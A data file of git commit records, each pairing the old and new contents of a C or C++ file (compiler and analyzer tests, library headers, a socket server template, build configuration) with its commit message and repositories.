{"commit":"22ecde87440e2be0c544fbe9083f1bb893c67663","old_file":"tests\/regression\/02-base\/49-unknown_func_union.c","new_file":"tests\/regression\/02-base\/49-unknown_func_union.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n\ntypedef struct list {\n    int val;\n    struct list *next;\n} list_t;\n\n\ntypedef union either {\n    int value;\n    struct list node;\n} either_t;\n\n\/\/ void mutate_either(either_t e){\n\/\/     list_t *next = e.node.next;\n\/\/     next->val = 42;\n\/\/ }\n\nint main(){\n    list_t first;\n    list_t second;\n\n    first.next = &second;\n    first.val = 1;\n    second.next = NULL;\n    second.val = 2;\n\n    either_t e;\n    e.node = first;\n\n    \/\/ When passing a union to an unknown function, reachable memory should be invalidated\n    mutate_either(e);\n    assert(second.val == 2); \/\/UNKNOWN!\n    return 0;\n}\n","subject":"Add test that passes union to unknown function","message":"Add test that passes union to unknown function\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6e8f38b090c65c05dbcd4496081c5b4a09e0e375","old_file":"include\/zephyr\/CExport.h","new_file":"include\/zephyr\/CExport.h","old_contents":"#ifndef ZEPHYR_CEXPORT_H\n#define ZEPHYR_CEXPORT_H\n\n#ifdef __cplusplus\n#define Z_VAR(ns, n) n\n#else\n#define Z_VAR(ns, n) ns ## _ ## n\n#endif\n\n#ifdef __cplusplus\n#define Z_NS_START(n) namespace n {\n#define Z_NS_END }\n#else\n#define Z_NS_START(n)\n#define Z_NS_END\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM_CLASS(ns, n) enum class n\n#else\n#define Z_ENUM_CLASS(ns, n) enum Z_VAR(ns, n)\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM(ns, n) enum n\n#else\n#define Z_ENUM(ns, n) enum Z_VAR(ns, n)\n#endif\n\n#ifdef __cplusplus\n#define Z_STRUCT(ns, n) struct n\n#else\n#define Z_STRUCT(ns, n) struct Z_VAR(ns, n)\n#endif\n\n#endif\n","new_contents":"#ifndef ZEPHYR_CEXPORT_H\n#define ZEPHYR_CEXPORT_H\n\n\/* declare a namespaced name *\/\n#ifdef __cplusplus\n#define ZD(ns)\n#else\n#define ZD(ns) ns_\n#endif\n\n\/* use a namespaced name *\/\n#ifdef __cplusplus\n#define ZU(ns) ns::\n#else\n#define ZU(ns) ns_\n#endif\n\n\/* declare a namespace *\/\n#ifdef __cplusplus\n#define Z_NS_START(n) namespace n {\n#define Z_NS_END }\n#else\n#define Z_NS_START(n)\n#define Z_NS_END\n#endif\n\n\/* enum class vs enum *\/\n#ifdef __cplusplus\n#define Z_ENUM_CLASS enum class\n#else\n#define Z_ENUM_CLASS enum\n#endif\n\n#endif\n","subject":"Move to namespace include\/use model","message":"Move to namespace include\/use model\n\nNow if you want to declare a namespaced name, use ZD()\nIf you want to use a namesapce name, use ZU()\n","lang":"C","license":"mit","repos":"DeonPoncini\/zephyr"}
{"commit":"000ad953336509328f3540237d568f1387511943","old_file":"include\/graph.h","new_file":"include\/graph.h","old_contents":"#ifndef __GRAPH_H__\n#define __GRAPH_H__\n\n#include \"resources.h\"\n\nclass graph {\nprivate:\t\/\/For data structures\n\tstruct vertex;\n\n\tstruct edge {\n\t\tvertex *endpoint;\n\t\tedge *opposite_edge, *next_edge;\n\t\tdouble direction;\n\t\tbool in_tree;\n\t\tuint index;\n\t\tconductor_info elect_info;\n\n\t\tedge();\n\t};\n\tstruct vertex {\n\t\tedge *first_edge;\n\t\tbool bfs_mark;\n\n\t\tvertex();\n\t};\n\n\tvertex *vertex_memory_pool;\n\tedge *edge_memory_pool;\n\tuint vertex_number, edge_number;\n\nprivate:\t\/\/For internal functions\n\tvoid add_edge(edge *, vertex *, vertex *, conductor_info, char, uint);\n\tvoid find_tree_path(vertex *, vertex *, std::vector<edge *> &);\n\n\tarma::cx_rowvec flow_conservation_equation(vertex *);\n\tstd::pair<arma::cx_rowvec, comp> circular_equation(vertex *, edge *);\n\tvoid bfs(vertex *, arma::cx_mat &, arma::cx_vec &, uint &);\n\tvoid find_all_circular(arma::cx_mat &, arma::cx_vec &, uint &);\n\npublic:\t\/\/For user ports\n\tgraph(uint, const std::vector<conductor> &);\n\tvoid get_current(std::vector<comp> &);\n\t~graph();\n};\n\n#endif\n","new_contents":"#ifndef __GRAPH_H__\n#define __GRAPH_H__\n\n#include \"resources.h\"\n\nclass graph {\nprivate:\t\/\/For data structures\n\tstruct vertex;\n\n\tstruct edge {\n\t\tvertex *endpoint;\n\t\tedge *opposite_edge, *next_edge;\n\t\tdouble direction;\n\t\tbool in_tree;\n\t\tuint index;\n\t\tconductor_info elect_info;\n\n\t\tedge();\n\t};\n\tstruct vertex {\n\t\tedge *first_edge;\n\t\tbool bfs_mark;\n\n\t\tvertex();\n\t};\n\n\tvertex *vertex_memory_pool;\n\tedge *edge_memory_pool;\n\tuint vertex_number, edge_number;\n\nprivate:\t\/\/For internal functions\n\tvoid add_edge(edge *, vertex *, vertex *, conductor_info, char, uint);\n\tvoid find_tree_path(uint, vertex *, vertex *, std::vector<edge *> &);\n\n\tarma::cx_rowvec flow_conservation_equation(vertex *);\n\tstd::pair<arma::cx_rowvec, comp> circular_equation(vertex *, edge *);\n\tvoid bfs(vertex *, arma::cx_mat &, arma::cx_vec &, uint &);\n\tvoid find_all_circular(arma::cx_mat &, arma::cx_vec &, uint &);\n\npublic:\t\/\/For user ports\n\tgraph(uint, const std::vector<conductor> &);\n\tvoid get_current(std::vector<comp> &);\n\t~graph();\n};\n\n#endif\n","subject":"Change the function of find_tree_path","message":"Change the function of find_tree_path\n","lang":"C","license":"mit","repos":"try-skycn\/PH116-FinalProject"}
{"commit":"9d0b2b728b9a431546b11252793844bf7506ec84","old_file":"test\/Headers\/arm-neon-header.c","new_file":"test\/Headers\/arm-neon-header.c","old_contents":"\/\/ RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s\n\/\/ RUN: %clang_cc1 -x c++ -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s\n\n#include <arm_neon.h>\n\n\/\/ Radar 8228022: Should not report incompatible vector types.\nint32x2_t test(int32x2_t x) {\n  return vshr_n_s32(x, 31);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s\n\/\/ RUN: %clang_cc1 -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -fno-lax-vector-conversions -verify %s\n\/\/ RUN: %clang_cc1 -x c++ -triple thumbv7-apple-darwin10 -target-cpu cortex-a8 -fsyntax-only -Wvector-conversions -verify %s\n\n#include <arm_neon.h>\n\n\/\/ Radar 8228022: Should not report incompatible vector types.\nint32x2_t test(int32x2_t x) {\n  return vshr_n_s32(x, 31);\n}\n","subject":"Test use of arm_neon.h with -fno-lax-vector-conversions.","message":"Test use of arm_neon.h with -fno-lax-vector-conversions.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@120642 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"ab2f0f4bc9ca50ccd01cb67194249b5a18b755eb","old_file":"include\/jive\/vsdg\/types.h","new_file":"include\/jive\/vsdg\/types.h","old_contents":"#ifndef JIVE_VSDG_TYPES_H\n#define JIVE_VSDG_TYPES_H\n\n#include <jive\/vsdg\/basetype.h>\n#include <jive\/vsdg\/statetype.h>\n#include <jive\/vsdg\/controltype.h>\n\n#endif\n","new_contents":"#ifndef JIVE_VSDG_TYPES_H\n#define JIVE_VSDG_TYPES_H\n\n#include <jive\/vsdg\/basetype.h>\n#include <jive\/vsdg\/statetype.h>\n#include <jive\/vsdg\/controltype.h>\n#include <jive\/vsdg\/valuetype.h>\n\n#endif\n","subject":"Add valuetype as \"standard\" type","message":"Add valuetype as \"standard\" type\n\nAdd to vsdg\/types.h header to make it available as \"standard\"\ntype.\n","lang":"C","license":"lgpl-2.1","repos":"phate\/jive,phate\/jive,phate\/jive"}
{"commit":"90e207ebe902197e6cccfff43e714a9bc08dfb37","old_file":"io\/socket\/simple_server.h","new_file":"io\/socket\/simple_server.h","old_contents":"","new_contents":"#ifndef\tIO_SOCKET_SIMPLE_SERVER_H\n#define\tIO_SOCKET_SIMPLE_SERVER_H\n\n#include <io\/socket\/socket.h>\n\n\/*\n * XXX\n * This is just one level up from using macros.  Would be nice to use abstract\n * base classes and something a bit tidier.\n *\/\ntemplate<typename A, typename C, typename L>\nclass SimpleServer {\n\tLogHandle log_;\n\tA arg_;\n\tL *server_;\n\tAction *accept_action_;\n\tAction *close_action_;\n\tAction *stop_action_;\npublic:\n\tSimpleServer(LogHandle log, A arg, SocketAddressFamily family, const std::string& interface)\n\t: log_(log),\n\t  arg_(arg),\n\t  server_(NULL),\n\t  accept_action_(NULL),\n\t  close_action_(NULL),\n\t  stop_action_(NULL)\n\t{\n\t\tserver_ = L::listen(family, interface);\n\t\tif (server_ == NULL)\n\t\t\tHALT(log_) << \"Unable to create listener.\";\n\n\t\tINFO(log_) << \"Listening on: \" << server_->getsockname();\n\n\t\tEventCallback *cb = callback(this, &SimpleServer::accept_complete);\n\t\taccept_action_ = server_->accept(cb);\n\n\t\tCallback *scb = callback(this, &SimpleServer::stop);\n\t\tstop_action_ = EventSystem::instance()->register_interest(EventInterestStop, scb);\n\t}\n\n\t~SimpleServer()\n\t{\n\t\tASSERT(server_ == NULL);\n\t\tASSERT(accept_action_ == NULL);\n\t\tASSERT(close_action_ == NULL);\n\t\tASSERT(stop_action_ == NULL);\n\t}\n\nprivate:\n\tvoid accept_complete(Event e)\n\t{\n\t\taccept_action_->cancel();\n\t\taccept_action_ = NULL;\n\n\t\tswitch (e.type_) {\n\t\tcase Event::Done:\n\t\t\tbreak;\n\t\tcase Event::Error:\n\t\t\tERROR(log_) << \"Accept error: \" << e;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tERROR(log_) << \"Unexpected event: \" << e;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (e.type_ == Event::Done) {\n\t\t\tSocket *client = (Socket *)e.data_;\n\n\t\t\tINFO(log_) << \"Accepted client: \" << client->getpeername();\n\n\t\t\tnew C(arg_, client);\n\t\t}\n\n\t\tEventCallback *cb = callback(this, &SimpleServer::accept_complete);\n\t\taccept_action_ = server_->accept(cb);\n\t}\n\n\tvoid close_complete(void)\n\t{\n\t\tclose_action_->cancel();\n\t\tclose_action_ = NULL;\n\n\t\tASSERT(server_ != NULL);\n\t\tdelete server_;\n\t\tserver_ = NULL;\n\n\t\tdelete this;\n\t}\n\n\tvoid stop(void)\n\t{\n\t\tstop_action_->cancel();\n\t\tstop_action_ = NULL;\n\n\t\taccept_action_->cancel();\n\t\taccept_action_ = NULL;\n\n\t\tASSERT(close_action_ == NULL);\n\n\t\tCallback *cb = callback(this, &SimpleServer::close_complete);\n\t\tclose_action_ = server_->close(cb);\n\t}\n};\n\n#endif \/* !IO_SOCKET_SIMPLE_SERVER_H *\/\n","subject":"Add a simple server abstraction.","message":"Add a simple server abstraction.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@776 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"splbio\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy"}
{"commit":"274b3426db25b8d63cbf25475e728ce1ee6caebd","old_file":"include\/net\/netevent.h","new_file":"include\/net\/netevent.h","old_contents":"#ifndef _NET_EVENT_H\n#define _NET_EVENT_H\n\n\/*\n *\tGeneric netevent notifiers\n *\n *\tAuthors:\n *      Tom Tucker              <tom@opengridcomputing.com>\n *      Steve Wise              <swise@opengridcomputing.com>\n *\n * \tChanges:\n *\/\n#ifdef __KERNEL__\n\n#include <net\/dst.h>\n\nstruct netevent_redirect {\n\tstruct dst_entry *old;\n\tstruct dst_entry *new;\n};\n\nenum netevent_notif_type {\n\tNETEVENT_NEIGH_UPDATE = 1, \/* arg is struct neighbour ptr *\/\n\tNETEVENT_PMTU_UPDATE,\t   \/* arg is struct dst_entry ptr *\/\n\tNETEVENT_REDIRECT,\t   \/* arg is struct netevent_redirect ptr *\/\n};\n\nextern int register_netevent_notifier(struct notifier_block *nb);\nextern int unregister_netevent_notifier(struct notifier_block *nb);\nextern int call_netevent_notifiers(unsigned long val, void *v);\n\n#endif\n#endif\n","new_contents":"#ifndef _NET_EVENT_H\n#define _NET_EVENT_H\n\n\/*\n *\tGeneric netevent notifiers\n *\n *\tAuthors:\n *      Tom Tucker              <tom@opengridcomputing.com>\n *      Steve Wise              <swise@opengridcomputing.com>\n *\n * \tChanges:\n *\/\n#ifdef __KERNEL__\n\nstruct dst_entry;\n\nstruct netevent_redirect {\n\tstruct dst_entry *old;\n\tstruct dst_entry *new;\n};\n\nenum netevent_notif_type {\n\tNETEVENT_NEIGH_UPDATE = 1, \/* arg is struct neighbour ptr *\/\n\tNETEVENT_PMTU_UPDATE,\t   \/* arg is struct dst_entry ptr *\/\n\tNETEVENT_REDIRECT,\t   \/* arg is struct netevent_redirect ptr *\/\n};\n\nextern int register_netevent_notifier(struct notifier_block *nb);\nextern int unregister_netevent_notifier(struct notifier_block *nb);\nextern int call_netevent_notifiers(unsigned long val, void *v);\n\n#endif\n#endif\n","subject":"Remove unnecessary inclusion of dst.h","message":"[NET]: Remove unnecessary inclusion of dst.h\n\nThe file net\/netevent.h only refers to struct dst_entry * so it\ndoesn't need to include dst.h.  I've replaced it with a forward\ndeclaration.\n\nSigned-off-by: Herbert Xu <ef65de1c7be0aa837fe7b25ba9a7739905af6a55@gondor.apana.org.au>\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"020bf65a067d187bdb2dd54a118f7b3f461535a1","old_file":"include\/log.h","new_file":"include\/log.h","old_contents":"\n#ifndef LOG_H\n#define LOG_H\n\n#include \"types.h\"\n#include <fstream>\n\nclass Statement;\nclass Exp;\nclass LocationSet;\nclass RTL;\n\nclass Log \n{\npublic:\n\tLog() { }\n\tvirtual Log &operator<<(const char *str) = 0;\n\tvirtual Log &operator<<(Statement *s);\n\tvirtual Log &operator<<(Exp *e);\n\tvirtual Log &operator<<(RTL *r);\n\tvirtual Log &operator<<(int i);\n\tvirtual Log &operator<<(char c);\n\tvirtual Log &operator<<(double d);\n\tvirtual Log &operator<<(ADDRESS a);\n\tvirtual Log &operator<<(LocationSet *l);\n\t\t\tLog &operator<<(std::string& s) {return operator<<(s.c_str());}\n\tvirtual ~Log() {};\n\tvirtual void tail();\n};\n\nclass FileLogger : public Log {\nprotected:\n\tstd::ofstream out;\npublic:\n\t\t\tFileLogger();\t\t\/\/ Implemented in boomerang.cpp\n\tvoid\ttail();\n\tvirtual Log &operator<<(const char *str) { \n\t\tout << str << std::flush;  \n\t\treturn *this; \n\t}\n\tvirtual ~FileLogger() {};\n};\n\n#endif\n","new_contents":"\n#ifndef LOG_H\n#define LOG_H\n\n#include \"types.h\"\n#include <fstream>\n\nclass Statement;\nclass Exp;\nclass LocationSet;\nclass RTL;\n\nclass Log \n{\npublic:\n\tLog() { }\n\tvirtual Log &operator<<(const char *str) = 0;\n\tvirtual Log &operator<<(Statement *s);\n\tvirtual Log &operator<<(Exp *e);\n\tvirtual Log &operator<<(RTL *r);\n\tvirtual Log &operator<<(int i);\n\tvirtual Log &operator<<(char c);\n\tvirtual Log &operator<<(double d);\n\tvirtual Log &operator<<(ADDRESS a);\n\tvirtual Log &operator<<(LocationSet *l);\n\t\t\tLog &operator<<(std::string& s) {return operator<<(s.c_str());}\n\tvirtual ~Log() {};\n\tvirtual void tail();\n};\n\nclass FileLogger : public Log {\nprotected:\n\tstd::ofstream out;\npublic:\n\t\t\tFileLogger();\t\t\/\/ Implemented in boomerang.cpp\n\tvoid\ttail();\n\tvirtual Log &operator<<(const char *str) { \n\t\tout << str << std::flush;  \n\t\treturn *this; \n\t}\n\tvirtual ~FileLogger() {};\n};\n\n\/\/ For older MSVC compilers\n#if defined(_MSC_VER) && (_MSC_VER <= 1200)\nstatic std::ostream& operator<<(std::ostream& s, QWord val)\n{\n\tchar szTmp[42]; \/\/ overkill, but who counts\n\tsprintf(szTmp, \"%I64u\", val);\n\ts << szTmp;\n\treturn s;\n}\n#endif\n\n#endif\n","subject":"Fix for older MSVC compilers without operator<< for long longs (not tested on MSVC6)","message":"Fix for older MSVC compilers without operator<< for long longs (not tested on MSVC6)\n","lang":"C","license":"bsd-3-clause","repos":"xujun10110\/boomerang,xujun10110\/boomerang,nemerle\/boomerang,nemerle\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,nemerle\/boomerang,nemerle\/boomerang,nemerle\/boomerang,nemerle\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,TambourineReindeer\/boomerang,xujun10110\/boomerang,nemerle\/boomerang"}
{"commit":"2eb40cde2d22b44b9d459da008fa9dcf8c39d3f2","old_file":"StateMachine\/StateMachine.h","new_file":"StateMachine\/StateMachine.h","old_contents":"#ifndef StateMachine_StateMachine_h\n#define StateMachine_StateMachine_h\n\n#import \"LSStateMachine.h\"\n#import \"LSEvent.h\"\n#import \"LSTransition.h\"\n#import \"LSStateMachineMacros.h\"\n#endif\n","new_contents":"#ifndef StateMachine_StateMachine_h\n#define StateMachine_StateMachine_h\n\n#import \"LSStateMachine.h\"\n#import \"LSStateMachineMacros.h\"\n#endif\n","subject":"Remove private headers from global public header","message":"Remove private headers from global public header\n","lang":"C","license":"mit","repos":"sergiou87\/StateMachine,luisobo\/StateMachine,sergiou87\/StateMachine,brynbellomy\/StateMachine-GCDThreadsafe,luisobo\/StateMachine,brynbellomy\/StateMachine-GCDThreadsafe"}
{"commit":"28504f18175b27a474e076bc7f07ae70cd9798e7","old_file":"sandboxed_api\/sandbox2\/syscall_defs.h","new_file":"sandboxed_api\/sandbox2\/syscall_defs.h","old_contents":"#ifndef SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_\n#define SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_\n\n#include <sys\/types.h>\n\n#include <cstdint>\n#include <string>\n#include <vector>\n\n#include \"absl\/strings\/string_view.h\"\n#include \"absl\/types\/span.h\"\n#include \"sandboxed_api\/config.h\"\n#include \"sandboxed_api\/sandbox2\/syscall.h\"\n\nnamespace sandbox2 {\nnamespace syscalls {\n\nconstexpr int kMaxArgs = 6;\n\n}  \/\/ namespace syscalls\n\nclass SyscallTable {\n public:\n  struct Entry;\n\n  \/\/ Returns the syscall table for the architecture.\n  static SyscallTable get(sapi::cpu::Architecture arch);\n\n  int size() { return data_.size(); }\n\n  absl::string_view GetName(int syscall) const;\n\n  std::vector<std::string> GetArgumentsDescription(\n      int syscall, const uint64_t values[syscalls::kMaxArgs], pid_t pid) const;\n\n private:\n  constexpr SyscallTable() = default;\n  explicit constexpr SyscallTable(absl::Span<const Entry> data) : data_(data) {}\n\n  const absl::Span<const Entry> data_;\n};\n\n}  \/\/ namespace sandbox2\n\n#endif  \/\/ SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_\n","new_contents":"#ifndef SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_\n#define SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_\n\n#include <sys\/types.h>\n\n#include <cstdint>\n#include <string>\n#include <vector>\n\n#include \"absl\/strings\/string_view.h\"\n#include \"absl\/types\/span.h\"\n#include \"sandboxed_api\/config.h\"\n#include \"sandboxed_api\/sandbox2\/syscall.h\"\n\nnamespace sandbox2 {\nnamespace syscalls {\n\nconstexpr int kMaxArgs = 6;\n\n}  \/\/ namespace syscalls\n\nclass SyscallTable {\n public:\n  struct Entry;\n\n  \/\/ Returns the syscall table for the architecture.\n  static SyscallTable get(sapi::cpu::Architecture arch);\n\n  int size() { return data_.size(); }\n\n  absl::string_view GetName(int syscall) const;\n\n  std::vector<std::string> GetArgumentsDescription(int syscall,\n                                                   const uint64_t values[],\n                                                   pid_t pid) const;\n\n private:\n  constexpr SyscallTable() = default;\n  explicit constexpr SyscallTable(absl::Span<const Entry> data) : data_(data) {}\n\n  const absl::Span<const Entry> data_;\n};\n\n}  \/\/ namespace sandbox2\n\n#endif  \/\/ SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_\n","subject":"Make code not have a -Warray-parameter warning.","message":"Make code not have a -Warray-parameter warning.\n\nPiperOrigin-RevId: 467842322\nChange-Id: Ic262a3f98fa823ef524ac02d08b2f5b8f4adf71d\n","lang":"C","license":"apache-2.0","repos":"google\/sandboxed-api,google\/sandboxed-api,google\/sandboxed-api,google\/sandboxed-api"}
{"commit":"60ea97b28f20e5a191cdae6ff1bde978cdcad85e","old_file":"src\/TantechEngine\/observer.h","new_file":"src\/TantechEngine\/observer.h","old_contents":"#ifndef TE_OBSERVER_H\n#define TE_OBSERVER_H\n\nnamespace te\n{\n\ttemplate <class EventType>\n\tclass Observer\n\t{\n\tpublic:\n        virtual ~Observer() {}\n        virtual void onNotify(const EventType& evt) = 0;\n\t};\n}\n\n#endif\n","new_contents":"#ifndef TE_OBSERVER_H\n#define TE_OBSERVER_H\n\n#include <vector>\n#include <memory>\n#include <cassert>\n\nnamespace te\n{\n\ttemplate <class EventType>\n\tclass Observer\n\t{\n\tpublic:\n        virtual ~Observer() {}\n        virtual void onNotify(const EventType& evt) = 0;\n\t};\n\n    template <class EventType>\n    class Notifier\n    {\n    public:\n        virtual ~Notifier() {}\n        void addObserver(std::shared_ptr<Observer<EventType>> newObserver)\n        {\n            assert(newObserver);\n            if (std::find(mObservers.begin(), mObservers.end(), newObserver) == mObservers.end()) {\n                mObservers.push_back(newObserver);\n            }\n        }\n    protected:\n        void notify(const EventType& evt)\n        {\n            std::for_each(std::begin(mObservers), std::end(mObservers), [&evt](std::shared_ptr<Observer<EventType>>& pObserver) {\n                pObserver->onNotify(evt);\n            });\n        }\n    private:\n        std::vector<std::shared_ptr<Observer<EventType>>> mObservers;\n    };\n}\n\n#endif\n","subject":"Add Notifier base class, complements Observer","message":"Add Notifier base class, complements Observer\n","lang":"C","license":"mit","repos":"evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine"}
{"commit":"749cfdeebb9f9706d8705ea46ed29bd3d9b1e834","old_file":"src\/altera.c","new_file":"src\/altera.c","old_contents":"#include \"mruby.h\"\n\nextern void altera_piocore_init(mrb_state *mrb);\nextern void altera_piocore_final(mrb_state *mrb);\n\nvoid\nmrb_embed_altera_gem_init(mrb_state *mrb)\n{\n  struct RClass *mod;\n  mod = mrb_define_module(mrb, \"Altera\")\n\n  altera_piocore_init(mrb, mod);\n}\n\nvoid\nmrb_embed_altera_gem_final(mrb_state *mrb)\n{\n  altera_piocore_final(mrb);\n}\n","new_contents":"#include \"mruby.h\"\n\nextern void altera_piocore_init(mrb_state *mrb, struct RClass *mod);\nextern void altera_piocore_final(mrb_state *mrb);\n\nvoid\nmrb_embed_altera_gem_init(mrb_state *mrb)\n{\n  struct RClass *mod;\n  mod = mrb_define_module(mrb, \"Altera\");\n\n  altera_piocore_init(mrb, mod);\n}\n\nvoid\nmrb_embed_altera_gem_final(mrb_state *mrb)\n{\n  altera_piocore_final(mrb);\n}\n","subject":"Fix prototype and syntax mistake","message":"Fix prototype and syntax mistake\n","lang":"C","license":"mit","repos":"kimushu\/mruby-altera,kimushu\/mruby-altera"}
{"commit":"a5f0f5dc4ba0d3f1d257db7542e7dedc7627c462","old_file":"Settings\/Controls\/Slider.h","new_file":"Settings\/Controls\/Slider.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n#include <CommCtrl.h>\n\n#include \"Control.h\"\n\nclass Slider : public Control {\npublic:\n    Slider(int id, DialogBase &parent) :\n    Control(id, parent, false) {\n\n    }\n\n    void Buddy(Control *buddy, bool bottomOrRight = true);\n\n    int Position();\n    void Position(int position);\n\n    \/\/\/ <summary>Sets the range (min, max) for the slider control.<\/summary>\n    \/\/\/ <param name=\"lo\">Lower bound for the slider.<\/param>\n    \/\/\/ <param name=\"hi\">Upper bound for the slider.<\/param>\n    void Range(int lo, int hi);\n\n    virtual BOOL CALLBACK Notification(NMHDR *nHdr);\n\nprivate:\n    HWND _buddyWnd;\n\npublic:\n    \/* Event Handlers *\/\n    std::function<void(NMTRBTHUMBPOSCHANGING *pc)> OnSlide;\n\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n#include <CommCtrl.h>\n\n#include \"Control.h\"\n\nclass Slider : public Control {\npublic:\n    Slider(int id, DialogBase &parent) :\n    Control(id, parent, false) {\n\n    }\n\n    void Buddy(Control *buddy, bool bottomOrRight = true);\n\n    int Position();\n    void Position(int position);\n\n    \/\/\/ <summary>Sets the range (min, max) for the slider control.<\/summary>\n    \/\/\/ <param name=\"lo\">Lower bound for the slider.<\/param>\n    \/\/\/ <param name=\"hi\">Upper bound for the slider.<\/param>\n    void Range(int lo, int hi);\n\n    virtual BOOL CALLBACK Notification(NMHDR *nHdr);\n\nprivate:\n    HWND _buddyWnd;\n\npublic:\n    \/* Event Handlers *\/\n    std::function<bool()> OnSlide;\n\n};","subject":"Update slide event method definition","message":"Update slide event method definition\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"acad4e8f9653beb8ffde0d516251dbf206bb375f","old_file":"bluetooth\/bdroid_buildcfg.h","new_file":"bluetooth\/bdroid_buildcfg.h","old_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#endif\n","new_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BTM_WBS_INCLUDED TRUE\n#define BTIF_HF_WBS_PREFERRED TRUE\n\n#endif\n","subject":"Add WBS support on Bluedroid (1\/6)","message":" Add WBS support on Bluedroid (1\/6)\n\n Bug 13764086\n\nChange-Id: Ib861d94b752561392e315ab8f459c30588075a46\n","lang":"C","license":"apache-2.0","repos":"maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead"}
